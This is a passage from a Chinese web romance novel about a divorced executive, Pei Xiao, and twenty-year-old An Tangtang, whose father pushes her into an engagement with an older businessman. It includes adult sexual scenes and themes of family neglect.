“那我去改年龄。”她信誓旦旦。
裴啸轻笑,“我不喜欢傻的。”
“我不傻,我很聪明呀,我是学霸来着,我是黑客,我懂计算机的。”
裴啸依然没有兴趣,“行了,睡吧,再不睡天就亮了。”
“那再来一次。”她主动去吻他,在他的脖子上乱啃乱咬,“裴啸哥哥,我真的好喜欢你,我特别喜欢闻你身上的味道,我想咬你……”
说着,她又在他的肩上咬了一口。
裴啸想要推开她,她却迎上他与他接吻。
男人哪里经得起这个。
结果,又来了一次,直接天亮了。
安糖糖心满意足的睡了。
裴啸起身去冲了澡,看着镜子里的自己,一脖子的吻痕,一身的牙印,他有点无语。
去裴氏前。
他先去了趟润合。
今天是一年一度例行开会的日子。
大小股东,都坐在一起,其中也包括霍时序。
霍时序倒也不是特意来开会的。
看到裴啸脖子上那些痕迹,他就知道自己来对了,“昨天晚上挺激烈的嘛。”
“你又知道了。”
两个男人在公司楼下相遇,并排往里走。
霍时序笑笑,“小丫头挺猛的啊,这要吸出血栓来,你还不得猝死到她床上。”
“那以后对南伊的时候,要就注意一点,免得又得要死要活的去殉情。”
裴啸嘴上没饶过人。
霍时序习惯了,笑着继续说,“我们那是情趣,你这个……是纯欲望啊。”
“是啊,你们高级行了吧。”
裴啸很少在开会的时候走神。
今天这场六十分钟的会议。
他总共走了三次神。
全被霍时序拍了下来。
点击,发给老婆,[坏喽,有人要中爱情的毒喽。]
宋南伊:[?]
霍时序:[回去跟你讲。]
宋南伊:[OK]
开完会后,霍时序跟裴啸约饭。
他拒绝了,“不了,还要去趟裴氏,大家都等着看我的笑话呢。”
“一个项目而已,如果你愿意,我拿几个项目给你。”霍时序表示可以帮忙。
裴啸摇头。
要进到董事会,不止是几个项目那么简单。
得拿实力说话。
“去看看再说吧。”
“你就……”霍时序指了指裴啸的脖子,“……这个玩意,要是被董事局那帮老头子看到了,还不得把你当成只会花天酒地的,纨绔子弟啊?”
“这么肤浅,不如就回家养老。”裴啸的眸色深沉。
霍时序耸眉。
他也要去XY集团,“那就改天见吧。”
裴氏的董事会。
可没有润合那么简单。
那些身经百战的元老们,虽然张口闭口不谈钱,但每个字都透着对利润的看重。
裴啸全程没有说话。
会议结束后,裴敬之将他单独留下,“你什么情况?”
裴啸抬眸,“?”
“你的私生活,能不能检点一点?”裴敬之用眼神指向裴啸的脖子,“不会是去那种不干净的地方,搞的吧?”
“这是我私事。”裴啸不愿意多说。
裴敬之听的恼火,“这样好看吗?你私下干什么,我管不着,但你能不能……”
“还有别的事情吗?”他准备离开。
裴敬之沉下气来,说正事,“联姻的事情先不说,最近江城有一个重要的项目要招标,如果我们裴氏拿下,利润将相当可观,我觉得这是你证明自己最好的机会,你有没有信心。”
“试试吧。”裴啸淡淡的。
“你没有信心?其实就我来讲,是倾向于派靖川去,他经验多,把握能大一些,但是董事会的元老们,都推荐你去做这个项目,我希望,你能将项目拿下来。”
招标这种事情。
不是你想拿就能拿到。
除了看各个集团的实力,还要有人,又舍得花钱。
裴敬之行事不大方,未必肯花钱。
那这项目拿到手的难度,就会很大。
“预算不设上限,我可以试试。”
“预算怎么可能不设上限,你要是没本事,就换人。”裴敬之对裴啸越来越看不顺眼,“别到时说,我不给你机会。”
“随便吧。”
裴啸往外走。
裴敬之又叫住了他,“我刚刚也是说气话,这样,我让靖川去帮你,你们兄弟两个一起努力,我希望听到好消息。”
裴啸没说好,也没说不好。
裴敬之订下的事情,他从不反驳,但也不会百分百的执行。
开车回了家。
家里静悄悄的。
他以为安糖糖走了。
没想到还在睡。
他看了眼腕表上的时间,突然觉得自己也困了。
“你回来了。”安糖糖听到动静醒了,揉着惺忪的眼睛,“我睡了好久了?不好意思啊,我太累了。”
“在下边躺着能多累,睡一天?”他摘下手表,一颗一颗的解衬衣的扣子。
她小嘴一嘟,从身后抱住了他的腰,很是粘人,“那你累不累呀?要不要小可爱给你按摩一下?”
他的腹肌好好摸。
他的胸肌好性感。
他身上是风的味道,好喜欢。
安糖糖摸到裴啸的腰带,就要去解,被他大手摁住,“还没够?”
第312章 他不是什么好东西
她傻呵呵的咧嘴笑。
“我现在食髓知味,哥哥呢,有没有对我有一点点的……喜欢?”
裴啸淡看了她一眼。
兴趣谈不上。
但小姑娘也不让人讨厌,“说吧,想在我身上得到什么?钱还是别的?”
“人。”她跨坐在他的大腿上,纤细的腿缠着他的腰,“我想要你的人,行吗哥哥?”
“一个老男人?”他盯住她漂亮的眼睛,有一丝危险,“安糖糖,别跟我玩花样,我不喜欢心眼多的女人。”
“我才二十岁,我哪来的心眼。”她不知道,为什么都睡了,他还拒绝她的喜欢,“你……不会是还在想着你的前妻吧?你还在爱着她吗?”
裴啸不喜欢聊这些。
眉眼沉的厉害,“这跟你有关系吗?”
“怎么就没关系了,你跟我睡了,你就不能再想着别的女人。”她搂住他的脖子,将小脸靠在他的脸侧,蹭了蹭,“裴啸哥哥,我们谈恋爱吧,好吗?你先试用我一下,如果我合格,你就再考虑下面的行吗?”
“我现在没兴致谈什么狗屁的恋爱。”
并且,他也没有要将一段关系,发展成亲密关系。
上床可以。
要名分,他没法给。
“那我们就谈地下的,我们隐恋,怎么样?”她在他唇上吻了吻,哼哼着,“裴啸哥哥,我真的特别喜欢你,你就答应我嘛。”
裴啸面色越发的沉闷。
她所谓的喜欢不过是因为,他让一个花苞成了花朵。
她根本不懂什么喜欢。
“男人都一样,你在我身上体验到的,在别的男人身上也能体验到,没必要给自己上枷锁。”
裴啸始终对恋爱这事不感兴趣。
安糖糖没法,只能提要求,“你刚刚问我,想要什么,那我现在可以讲吗?”
“说。”他就知道,她是有目的。
安糖糖抿了抿唇,“我想去你身边做秘书,行吗?”
“做秘书?你知道秘书是干什么的?我的秘书,可不是谁都胜任的,说点现实的。”
安糖糖不同意,“我不会我可以学,你让人带带我就好了,我很聪明的,一学就会。”
他盯着她的眼睛。
逡巡着她的目的。
许久。
“好,给你三个月时间学习,到时胜任不了,你就离开。”
安糖糖点头,“我一定会学会的,我很聪明的。”
聪明?
在裴啸看来,她有属于这个年纪的女孩,特有的蠢。
“裴啸哥哥,你饿了吧,我去给你做饭。”
安糖糖套了裴啸刚刚脱下来的衬衣。
赤着脚,就往外跑。
他不自觉的说了句,“穿鞋。”
小姑娘嘻嘻着跑回来,很听话的将鞋穿上,又快步往外走。
安糖糖没有做过饭。
但她很认真的,要给裴啸煮碗面条吃。
一边开着手机搜索做法。
一边跟着视频,认真地学。
男人在外面,看着她手忙脚乱的样子,竟觉得有点可爱。
安糖糖是可爱的。
长得可爱,行事可爱,说话也可爱。
可爱的女孩,适合可爱的男孩,而不是适合他这个,心已经千疮百孔的男人。
他不是什么好东西。
跟邓雪结婚,他也不是因为多爱她,只是觉得她很适合结婚。
她不争不抢,为人平和稳重,给他一种很舒服的感觉。
他喜欢那种感觉。
可他忘了,这种舒服的感觉,压根算不上爱。
但他不否认,他是喜欢她的,与爱就是一步之遥。
她也是喜欢他的,但……不爱。
他们没有跨过喜欢变成爱,没有为了完成这份爱,付出自己。
最后,劳燕分飞。
他是失败的,如果他肯在婚姻里再努力一些,再主动一些,他们会有爱的。
错过了。
错在他。
他从烟盒里抽了根烟,递到唇上,还没点,就看到安糖糖捧着一碗热腾腾的面,走了出来。
大概是太烫了。
她放下碗后,就抓耳垂。
“裴啸哥哥,来吃面了,尝尝我的手艺。”
裴啸将烟重新放进烟盒里。
起身走到了餐桌前。
“以前做过?”他问。
安糖糖弯起眼睛,“没有,第一次,奉献给你了。”
裴啸蹙眉,“第一次?”
她脸突然红了。
将面碗往他面前推了推,“那个……你尝尝嘛。”
裴啸拿起筷子。
夹起面条,往嘴里送了一口。
不生,也不算太熟,不咸也不淡。
没滋没味。
“怎么样?还行吧?我是按
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照视频上一步一步来做的。”安糖糖像个求表扬的孩子。
裴啸没好意思打击她的积极性,“行吧。”
“那你就多吃点,锅里还有。”
她坐到他对面,双手托着下巴,看他吃面。
裴啸吃了两口,便放下了筷子,“我,其实不太饿,一会儿再吃吧。”
“啊?”安糖糖有些想到了,可能是不太好吃,“行吧,那就一会儿再吃,那你现在要……睡吗?”
“我是要睡了,但不是跟你睡,你最好乖乖的回你自己的房间。”
他实在是有些累了。
无瑕去应付她。
安糖糖点头,“你睡你睡,你先去休息吧,我现在精神的很呢。”
裴啸回了房。
她一个人坐在沙发上,发了一会儿呆。
父亲给她打来电话。
她吓的差点丢出去,“喂?”
“我已经约好跟程节见面的时间了,你这两天回家里来,让你阿姨给你收拾一下,怎么着也得给人家留个好印象不是吗?”
安糖糖根本不想去。
她已经说的很清楚了,“爸,我说了,我有男朋友了,你这个人,怎么回事嘛?非得把我嫁给一个老头子?”
“什么就老头子了,人家程总年富力强,正是干事业的好年纪,你知道他的实力吗?你要真能嫁给他,你就算烧了高香,进了福窝了,别不知好歹。”
安糖糖翻白眼。
嫁给一个四十多的老男人,她能有什么福可享的,“我不能背叛我的男朋友。”
“你别张口男朋友,闭口男朋友的,你真有男朋友,你就带回家来,我看看,要是你们真的两情相悦,又很合适,爸也不逼你。”
安糖糖一听有戏。
立马答应,“这可是你说的,到时你别反悔。”
“明天,把人带回来。”说完,安初平挂断了电话。
安糖糖握着手机。
往裴啸的房间看了一眼。
她要如何说服他,跟自己回家一趟呢?
他又不想跟她恋爱。
他又不愿意做自己的男朋友。
可怎么办呢?
安糖糖去洗了个澡,把自己喷喷香的塞进了裴啸的被子里。
她巴巴的眨着眼睛,在他的唇上亲了一下。
“哥哥,我有件事情,想请你帮个忙,可不可以……”
第313章 没人愿意给她爱
裴啸被弄醒。
眉心紧皱,“又要干什么?”
“明天陪我回趟家可以吗?”
“回家?”
安糖糖点头,“陪我回趟家,你什么也不用说,你就站在我旁边就行,求求你,帮帮忙。”
她双手合十,十分虔诚的求他。
裴啸是不愿意的。
他认识安初平。
印象一般。
他并不想向安初平传达一个,他睡了他女儿的信号。
安初平不是安糖糖。
他一定会从自己这儿拿走些什么,然,他最不愿意的就是被人拿捏。
“你爸让你回去?你说要带我一起回去?”他明显有了排斥。
安糖糖忙摆手,小心翼翼的,“他是让我回去,但**我要带你回去。”
“那就带别人回。”
安糖糖:……
这话说得好伤人啊,“你不想做的我男朋友,假装一下,也不行吗?你干嘛要这样对我嘛,你到底是不是男人,我又没有让你负责,你干嘛老对我不冷不热的?”
“安糖糖,不是我要睡你的,你是非要跟我睡的。”他掀起被子下床,满脸的厌烦,“你想套路我?还是你们安家想套路我?我告诉过你,我讨厌有心机的女人。”
“你……”安糖糖有点伤到心了,她这么单纯热烈的爱,他竟然认为她在给他下套,“……好,算我贱行了吧,你不跟我回去,就不回,我自己回,少了你这棵葱,还炒不了一盘菜了。”
她嘴硬离开。
眼泪啪嗒啪嗒地掉。
算了。
他就是瞧不上她,她就是变成黄金,他也瞧不上。
不就是嫁个老男人嘛,又不是上刀山下火海。
她在床上坐了半晚上。
天快亮时,她才睡了一小会儿,然后洗了把脸,准备回一趟家。
走出卧室时。
刚好裴啸也准备去公司。
他看她脸色不太好,“昨晚没睡好?”
她点了点头。
也没有多余的话。
他自当她是在耍小脾气,“要回家?”
“嗯。”她换了鞋子,背好包包,“我可能会回去住段时间,你,你别想我啊。”
她想俏皮一点说话的。
可是心情实在算不上好,有一些沉闷。
裴啸没在意。
她也能感受到,他对自己一点点的在意也没有。
性是性,情是情。
两者,他没有混为一谈。
她承认,自己没有他那么洒脱。
他是她第一个男人。
也算是她真正喜欢上的第一个。
她是想跟他有结果。
但他不想。
二人一同乘电梯下楼。
她以为他会说一句,送她回去。
并没有,他驱车离开,她站在原地发了会呆,这才打了个车,回了家。
看到安糖糖一个人回来。
安初平也没有太惊讶,这个女儿从小就是这样,没影的事情,也被她说的天花乱坠。
既然没有那个所谓的男朋友。
那与程节见面的事情,就要提上日程。
“我帮你约程先生,在今天下午,你们见个面,程先生看过你的照片,对你还算满意,你要抓住这个机会。”
安糖糖讪然抬眸。
无情无绪的,“什么机会?要跟他上床,睡觉,马上把婚事订下来吗?”
“你……”这个女儿越来越没有分寸,不知羞耻,“……程先生是个不错的人,你见到就知道了,而且他是出了名了宠妻。”
安糖糖笑了,笑的嘲弄,“那么宠妻,那么爱老婆,老婆**三个月就按捺不住了?”
安初平气闷。
他不耐烦的抬了抬手,语重心长的说,“不管怎么说,程先生对于你,对于我们安家,都是一个不可多得的人选,糖糖,你也二十多岁了,你该为这个家分担一下了。”
安糖糖哂。
所谓分担,就是拿她去换取利益。
不去,就是不孝。
反正也没人在意她的感受,换就换吧。
她起身往楼上走,“我知道了,下午我会准时过去,与程先生见面的。”
安初平总算有了一丝安慰。
“你总算是懂事了。”
没人看到安糖糖那眉间的苦涩,和眼尾的泪。
从小到大,她都是自己给自己爱。
打雷下雨的时候,她会抱着妈妈的照片,躲在衣柜里面,只敢掉泪,不敢出声。
她那么的愿意付出爱,就是想到得爱。
她渴望爱。
可是……没人愿意给她爱。
父亲是,裴啸也是。
他们真的都好吝啬。
下午去跟程节见面前。
汤怡给她准备了一件,略显端庄和老气的小香风套装。
又请了化妆师,为她化了一个得体的妆容。
“我们家糖糖,本来就漂亮,现在啊又多了几分温柔和淑良,程先生一定会喜欢的。”
安糖糖对这个
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后妈没有感情。
汤怡是个演技派。
当着安初平的面的时候,可会演了。
要不是今天没什么心情,她高低得怼她两句。
安初平也很满意,“一会儿,我让司机把你送过去,你好好表现。”
安糖糖没情没绪的出了门。
坐进车里。
她一路放空,直至车子开到一间知名咖啡店的门口,她才慵懒的下了车。
这身名贵的套装,就像枷锁,束缚的她难受。
程节早到了。
他看起来很重视这次见面,头发梳得很利索,身上的订制西装,也是一丝不苟。
没有安糖糖想象的老。
也没有中年男人的大腹便便。
有点岁月的痕迹。
在四十岁这个年纪,他是有个人魅力在的。
这点,安糖糖承认。
“安小姐你好,我是程节。”程节伸出手来,礼貌的很。
安糖糖与他握了握手,便弯身坐下了,“你好,程先生,抱歉路上有点堵车,来晚了。”
“是我来早了。”他早已为她点了杯卡布其诺,“我自作主张的为你点了一杯小姑娘爱喝的,希望没有冒昧。”
“没事,我不计较这个。”安糖糖抬眼看向男人。
程节点头,很成熟的样子,“我的情况,你应该都知道了,我对你很满意,你对我……可以说说看。”
安糖糖没什么想法。
她此时的视线正落在不远处的,那个卡座上。
裴啸和另外一个男人。
他正望过来,眼神透着审视。
她有些慌的垂下视线,“我对程先生没有意见。”
“既然安小姐没有意见,那我们是不是……可以确定关系。”
程节这个人是行动派。
他不喜欢在这种事情上,浪费时间。
安糖糖错愕:“现在就要确定关系了?你……你倒是说说你对妻子的要求啊?万一,我达不到呢。”
“没什么要求,你还年轻,一切顺其自然就好。”他唇上带着微笑。
安糖糖哦了一声。
又抬眸望向了远处的男人,然后做贼心虚的垂下了视线。
裴啸收回视线。
端起咖啡喝了一口。
霍时序看热闹不嫌事大的,“那人好像是程节,听说他老婆**,正在物色一个合适的妻子,看来,你家的小朋友,很合他的胃口。”
“她不是我家的。”裴啸面色清冷,言语淡淡。
第314章 她在钓鱼,我其实不算一条大鱼
霍时序蹙眉,“你……真对这个小丫头,没有感觉啊?你没感觉,你睡人家干什么?你这就有点不地道了。”
“男人和女人之间,不止有爱情一种关系,更多的是供需关系,她需要男人,我需要女人,一拍即合,别说的那么高尚,我不欠她的,她也不欠我的。”
霍时序:……
这番言论,让霍时序自愧不如。
听起来,好像都是道理。
说的通俗一点,这不就是渣吗?
霍时序咽了咽,他自己也是个渣子,他没有资格说裴啸。
但他真是觉得这个安糖糖,跟裴啸挺合适的。
“你不喜欢邓雪那样无趣的,这个小丫头挺有趣的,你真的不考虑跟她……发展一下?”
裴啸没说话。
眼神却落到了不远处的那个女孩身上。
“你以为她找上我,只是单纯的喜欢我吗?她在钓鱼,我其实不算……一条大鱼。”
至少在和程节比起来。
他差远了。
甚至觉得挺可笑的,“你看,她眼光挺好的,程节有钱有势的,比我强太多,她与我做过的事情,也会与别人做,这个世上,有一种手术叫处女膜修复术,是她这种人钓鱼的伎俩。”
霍时序震惊地望向了安糖糖。
不能吧。
她只是个小姑娘,哪来的那么多心眼。
“你……是不是对她有误解啊?她这个年纪……没有跟别人有过性关系,这很正常啊,你怎么会想到修复术上?”
“你才三岁啊?”裴啸轻笑,“霍时序,怎么事情发生在别人身上,就变得单纯了呢?”
霍时序:……
“我不是这个意思,我就是……”
“霍时序,你不懂现在的女孩子吗?她们年轻,有美貌,有身材,加上一份厚重点的家世,不会那么眼拙,看上我这种大龄一事无成的男人的,她们的目标很大的,你想的太简单了。”
霍时序认为裴啸,太悲观了。
不会是离婚后遗症吧?
他以前很自信的啊。
“你可别这么说,你才三十出头,你现在也是集团的总裁,未来裴氏的继续人,关键是哥们咱长的好,身材好,体力棒,这上赶着想嫁你的,可不在少数,咱们不能这么说自己。”
裴啸苦笑。
霍时序太给他面子了。
他并觉得这是什么优势。
至少在有比较的情况下,他的优势并不明显。
“说实在的,到了我这个年纪,我不想去争,也不想去抢了,对于爱情,对于婚姻,我现在更没有渴望,我和她……一场游戏而已,不必那么认真。”
霍时序听得心里不是滋味。
婚姻到底带给了人了什么。
当年他和宋南伊离婚后,也是过的生不如死。
可裴啸不一样啊。
他对邓雪没有那么深的感情,但依然……
“我尊重你的选择,如果她是真心的呢?”
“这世界上哪来那么多的真心?”裴啸笑霍时序,越来越天真了,“你啊,就是婚姻生活太美满了,才相信真心这玩意。”
霍时序摸了摸鼻尖。
他现在过得确实很幸福。
他希望裴啸得到同样的幸福。
“还是有的,你也别太悲观了。”霍时序看向了不远处的安糖糖和程节,“我们打个赌吧,如果这女孩是真心的,你年底分红,多给我一百万。”
“我不跟你赌。”裴啸端起咖啡喝完了最后一口,“走吧,该回去了。”
两个男人身材都高大修长。
他们长得过于好,一起往外走的时候,会引起别人对他们外貌和气质的评价。
他们习以为常。
经过程节和安糖糖身旁时。
霍时序停下,跟程节打了个招呼。
“程先生好巧啊。”
程节认得霍时序和裴啸,礼貌起身,“霍总,裴总,你们也过来喝咖啡。”
“是啊,听说这家咖啡店,新来一位有名头的咖啡师,过来尝尝……”霍时序特意将视线落到了安糖糖的面上,“……这位是?”
程节看了安糖糖一眼,“算是女朋友吧。”
裴啸蹙眉。
早上从他家离开,下午就跟别人确立了男女朋友。
他还真是小看她了。
裴啸转身往外走去。
霍时序也跟程节礼貌告辞,“那你们聊,我们就先走了。”
裴啸一走。
安糖糖也坐不住了,“程先生,要不今天就到这儿吧,我就先回去了。”
“我送你。”
“不,不用,司机在外面呢。”安糖糖起身往外走,程节跟在身边,“那我们改天再见。”
安糖糖点头,“程先生再见。”
她有一些慌的。
她没有想到,会在咖啡厅里,遇到裴啸。
刚刚他和霍时序走过来跟程节讲话的时候,她头也不敢抬。
他不会是以为自己,脚踏两条船吧?
一定会的,他那种男人,谁也不信,就信自己的直觉。
安糖糖坐在车里,望向车外的车水马龙。
她和裴啸又没有关系。
她就算脚踏两条船,又怎样呢?
他会在乎吗?
他不会的。
安糖糖拿出手机,给裴啸发了条信息。
[我什么时候,去公司上班?]
约莫半个小时,裴啸给她回了过来,[明天。]
看吧。
他连问都没有问,她和程节为什么会见面。
安糖糖叹。
有点可怜自己。
傍晚的时候,她回了趟裴啸的家,准备将自己的东西,收拾一下,搬回家里去住。
如果和程节的关系确立了。
他有可能会立马有订婚或是结婚的打算。
如果真是那样推不掉的话,就嫁了吧。
反正没人在在乎她。
门打开。
安糖糖走进来,抬眸,看到客厅里坐着一个人。
裴啸回来了。
往常这个时间,他都不在家的。
“你在家啊。”安糖糖说明了自己的来意,“我来收拾一下我的东西,我准备回家去住了。”
“嗯。”他连眼皮都没有抬。
他的忽视,令安糖糖心脏被攥的厉害。
她本来都决定,不再问了,但还是忍不住的,“你……不问问我,今天为什么会跟程节见面吗?”
“你和他不是在相亲吗?”他淡淡抬眸,“这很难猜?”
安糖糖咬唇。
原来他什么都能看透。
但为什么,看不透她的心意呢。
“那你……没什么想法吗?”
裴啸淡笑,“没有。”
安糖糖咬唇的力度更重了一些。
嘶……
好疼。
她咬破自己的嘴唇了。
没出息。
转身,她去了洗手间,镜子里的自己,有些憔悴,并不快乐。
没妈的孩子,没人疼,怎么会快乐。
“呶,药膏。”他伸手递过来一管药。
安糖糖眼皮微动,落到他修长干净的指尖上,“裴啸哥哥,我是不是真的很不讨人喜欢?”
她声音沉闷。
像在做最后的证实。
裴啸看着她轻颤的睫毛,抬手揉了揉她的头顶,“程先生不是很喜欢你?”
“可是你不喜欢我呀。”
喜欢的人,不喜欢自己,别人再喜欢有什么用呢。
他依然没有给她想要的答案。
安糖糖心碎了。
心也死了。
第315章 嫁给他,大二十岁又怎样
她没有擦药。
由着血自己凝固。
呆了好一会儿,才从洗手间里出来。
裴啸依然在忙手头上的事情。
视线一瞬不瞬地盯着他的电脑。
安糖糖有很多话要说。
每一句走到嘴边,她又给咽了下去。
现在还有什么好说的呢。
“那我去收拾一下东西。”
她转身回去了自己住的那间卧室。
房间很干净。
根本不是她的风格。
她其实是一个很随性的小女孩,不喜欢叠被子的,但是在这儿不一样。
裴啸有洁癖。
她每天都会把房间收拾很干净,地上的每根头发,她都会捡起来。
她也会偷偷地跑到他的房间,在他的床上躺一天。
然后再把他的房间收拾得一尘不染
她就是想让他喜欢。
可他偏偏不喜欢。
将最后一件物品,收进行李箱,安糖糖擦干了眼角的泪,微笑着走了出去。
“那我就走了,谢谢你收留了我这么久,明天我会去公司上班的。”
裴啸抬眸,看向她,“不用谢,明天见。”
安糖糖想挤一抹笑给他。
很困难。
拖起行李,走到门口,她又回望了他一眼。
他的注意力依然在他面前的电脑上。
开门,出门,关门。
安糖糖和她气息,全部离开了这个家。
裴啸将手上的电脑合上,捏着眉心,心情有点同往常不一样。
起身,他走到阳台,点了根烟,慢慢吸着。
……
安糖糖和程节的事情很快就定了下来。
在她去润合做实习秘书的第二个周。
安家安排了,她和程节的订婚。
程节很舍得花钱,订婚的小礼服,都是找国外著名的设计师手工订制的。
他看起来很喜欢她。
订婚宴搞得很大,宴请了江城很多名流。
安乔乔在一旁阴阳怪气的,“你别说,这老男人,就是疼媳妇,姐,你还真的是有福气,将来你要给程先生生个一儿半女,就坐稳了程太太的位子,我可真是羡慕你啊。”
“羡慕我,你上啊,我让给你。”安糖糖白了安乔乔一眼,“安乔乔,别企图给添堵,今天这个日子,要是把我惹着了,这婚订不订的还在后面,你的腿被爸打断,是近在眼前的事情。”
安乔乔戚。
她知道安糖糖最爱发疯。
丢下白眼,“是,我惹不起,我躲还不行吗。”
安乔乔还算识相。
安糖糖心情不算好,但还是强颜欢笑的,跟着程节身边,听着他将她介绍给,他的那些所谓的朋友们。
“霍总,裴总,上次一面太过于匆匆,没能好好跟你们介绍一下。”
程节牵起安糖糖的小手,将她带到人前,“糖糖现在是我的未婚妻了,听说她在裴总的公司实习,以后还请裴总,多多照顾。”
安糖糖尴尬极了。
她以为裴啸跟程节没那么深的交情,不会来。
现在人就站在她面前。
她想躲也躲不了。
“程先生客气了,程太太人很聪明,学得很快,不需要特殊照顾。”裴啸声音冷冷清清。
程节微笑,“糖糖确实是个很聪明的女孩子,我想这也是她选择我的原因。”
安糖糖:……她是被逼的好吧。
哪有夸奖别人,是带着夸奖自己的目的的。
裴啸浅看了安糖糖一眼,“程先说言之有理,她选择了你,是她的福气。”
“谢谢裴总。”程节不显山不露水的,将大手握在了安糖糖的腰上,“那你们随意,我去跟别的朋友打个招呼。”
“程先生随意。”
程节揽着安糖糖的腰,往别处。
她回头看了裴啸一眼。
但他没有看她。
霍时序倒是看了安糖糖一眼,那小姑娘,眼里好像有泪珠。
不知道是不是看错了。
“程节的财力和实力,说什么都是安家高攀,不吃亏,但没想到,安初平这么快就把女儿给打发出去了,到底是没妈的孩子,没人疼啊。”
裴啸眉心微蹙。
“你说什么?她没有妈?那个安夫人不是她妈妈吗?”
霍时序也是最近听说的,“现在的安夫人是安糖糖的继母,她的亲生母亲,在她很小的时候,就不在了,据说当年安初平有婚外情,趁她妈妈回娘家的时候,带了女人来家睡,被发现了,后来,不知道怎么的自杀了。”
裴啸听到这些,还是挺震惊的。
这个小丫头没心没肺的,他还以为是家里父母宠出来的。
怎么……身世这么惨的吗?
“你看。”霍时序指向安初平安乔乔那一家三口,“有妈的孩子,就用不着,嫁给一个大自己二十岁的男人了。”
裴啸端起香槟啜了一口。
喉结滚动,“她嫁给程节,未必不是自己想要的,她又不是小孩子了,想嫁与不想嫁,谁还能逼得了她,你以为她是什么听话的主吗?”
霍时序没反驳。
也许吧。
每个人想要的东西不一样。
“就像你说的,可能是各取所需吧,反正啊……”霍时序拍了拍裴啸的肩,“……这小丫头,不会再是你的了。”
裴啸的视线落在程节和安糖糖的身上。
那只放在腰上的大手,瞬间在他的眸底燃起,灼得他难受。
……
安糖糖累了。
借着上洗手间,她想自己独处一会儿。
看着镜子里,这个好像与自己无关的女人,好陌生。
“安糖糖,你就这样把自己交出去了?这也太不负责任了吧?”
“可是没人爱我呀,嫁给谁不都一样吗?至少程先生看起来人还不坏。”
“你才多大呀,对爱情就没有向往了吗?你还没有谈过一场轰轰烈烈的恋爱啊。”
“恋爱不一定要轰轰烈烈,有人爱就很温暖啊,可是没人爱啊。”
“安糖糖,你真的好可怜,从小到大,都没人爱,你就是一个根本不配得爱的女孩子,你就应该是这样的结局。”
安糖糖自言片语的,把自己说难过了。
如果妈妈还活着,一定会鼓励她,再勇敢一点,追求自己想要的。
可是妈妈不在了。
她喜欢的男人,对她也无动于衷。
结局……只能是这样的结局。
安糖糖掉泪了。
她怕花了妆,赶紧仰起了小脸,拿着纸巾,沾眼角的泪。
“订婚这么好的事情,怎么还哭起来了?”男人熟悉的声音。
安糖糖身子一僵。
忙看向了面前的镜子。
裴啸站在她的身后,双手抱怀,唇角似笑非笑的。
她指尖抓紧了那张被眼泪湿掉的纸巾,挤了抹比哭还难看的笑,“哪有,我没有哭,我就是……眼睛里进了小虫子,弄不出来了。”
“我看看。”他走到她的面前,将她抵在洗手台上,手指撑起她的眼睛,“别眨眼,我吹一下。”
她漂亮的眸子,望着他的脸。
看着他的唇慢慢靠近她,吹气,再吹气。
她看的出了神。
第316章 你不是我的女人,我们只是睡过
“好点没有?”他的气息就在她的面前。
她想抓住他。
她甚至想吻他。
可她……不敢。
“嗯,好多了。”她收起失神,微扯了一下唇,“谢谢啊。”
“晚上回去,让程先生给你买瓶眼药水滴一下。”他说,淡淡的毫无情绪。
安糖糖涩笑。
他是真的没有心的。
“你不想问问我,为什么突然会跟程节相亲,订婚吗?”
裴啸耸肩,“怎么?你想说?”
“好歹我们也睡过,我是你的女人,你就这么……,你是一点也不在乎,我跟别的男人,对吗?”
她眼眶红了。
委屈,又有一些不甘和愤怒。
裴啸突然笑了,“别,你可不是我的女人,我们就是睡过……而已。”
这话,就像一把刀子,捅得安糖糖体无完肤。
他连她是他的女人这事,也不愿意承认。
她是有多上不了台面。
指尖紧紧地蜷起。
安糖糖的心碎了,所有对裴啸的喜欢,爱慕,都在这一瞬间崩塌。
“裴先生够绝情的。”她苦笑着,抬脸看着他,“绝情谁不会啊,反正,我和你也不会有结果,那以后见了面,还请当陌生人吧。”
安糖糖转身就走。
他抬手握住她的手腕,又扯回了身前,“生气了?”
“是啊,我生气了,你会哄吗?”他不会哄的,他只会看她的笑话,“裴啸,我的爱光明正大,可是在你的眼里,是算计,是心机,是上不了台面的,好啊,那就一别两宽,挺好的,反正,你也不配得到我的爱。”
“所以……”他指尖握住女人的下巴,“……在你眼里,男人都是一样的。”
“当然,三十岁和四十岁,在我眼里都是老男人。”她瞪着他,漂亮的小脸有一种读不懂的倔强。
裴啸笑着点头,“确实如此,我这三十岁的老男人,兴许还比不上四十岁的。”
“没错,你就是比不上程先生。”
安糖糖挣开他的指尖,往后退了一步,眼中的爱慕和热情褪去后,尽是冷意,“裴先生,我很遗憾地通知你,你错过了一个很爱你的女孩,不,或许,你错过了很多个爱你的女孩,你这辈子就孤独终老吧,你挺适合的。”
裴啸的皮囊很好。
她猜,喜欢他的应该有很多。
但真心和假意都分不明白的他,理应悲剧结尾的。
安糖糖这么想。
心里好受多了。
“糖糖,在里面吗?”外面传来了程先生的声音。
安糖糖收起哽咽,回答,“马上就好。”
“不急,我在外面等你。”
程节的声音温柔。
安糖糖转身,被裴啸握着腰,拽了回来,“让他走。”
“凭什么?你又不稀罕我的爱,干嘛这是?占有欲作祟啊?”她很难理解男人的这种畸形心态,“没必要吧裴先生,争强好胜,不是用在这种地方。”
门外传来声音,“糖糖,你在跟谁说话呢?里面还有别人吗?没别人的话,我就进去了。”
“别,别进来,有人呢,我裙子湿了,我吹干就出去。”
“好,我等你。”
裴啸握着她的腰,不松开,安糖糖只能压低声音,“你这是干什么?”
“干嘛不让他进来?”
“那你可想好了,他进来,我这婚可就订不成了,那我就要粘着你了,你确定?”安糖糖一副,她也没在怕的。
裴啸用眼神指了指门口。
安糖糖扭过脸,张嘴就要喊,“程……唔……”
她的唇被堵上了。
排山倒海般的气息,将她的口中填满。
她好喜欢他的味道。
她无法推开他,他是她的欲望。
小手搂紧了他的脖子,与他交缠。
他将她压在洗手台上,撩了起她的裙子。
安糖糖喘息着,提醒他,“你确定要在这儿要了我吗?外面就是程节,如果他听到我们在……唔……”
他堵住了她喋喋不休的唇。
激荡。
她迷恋他的占有。
可她又知道,他的这种占有,只是男人之间莫名其妙的竞争和比较。
完全机械性,没有一丝一毫的感情。
“糖糖。”外面敲门。
“我,我马上就好。”她的气息紊乱,小腿缠在他的腰上,“程先生,你再,再稍等一会儿。”
程节是过来人。
这动静,分明就是……
“稍快一点,还要招待客人。”
程节离开了。
她咬在了裴啸的肩上。
睫毛湿漉漉的。
看向他的眼神中,透着迷离的怨恨,“他走了,你还要继续吗?”
裴啸没有再继续。
他承认,他有一点……故意。
确实也没控制好自己。
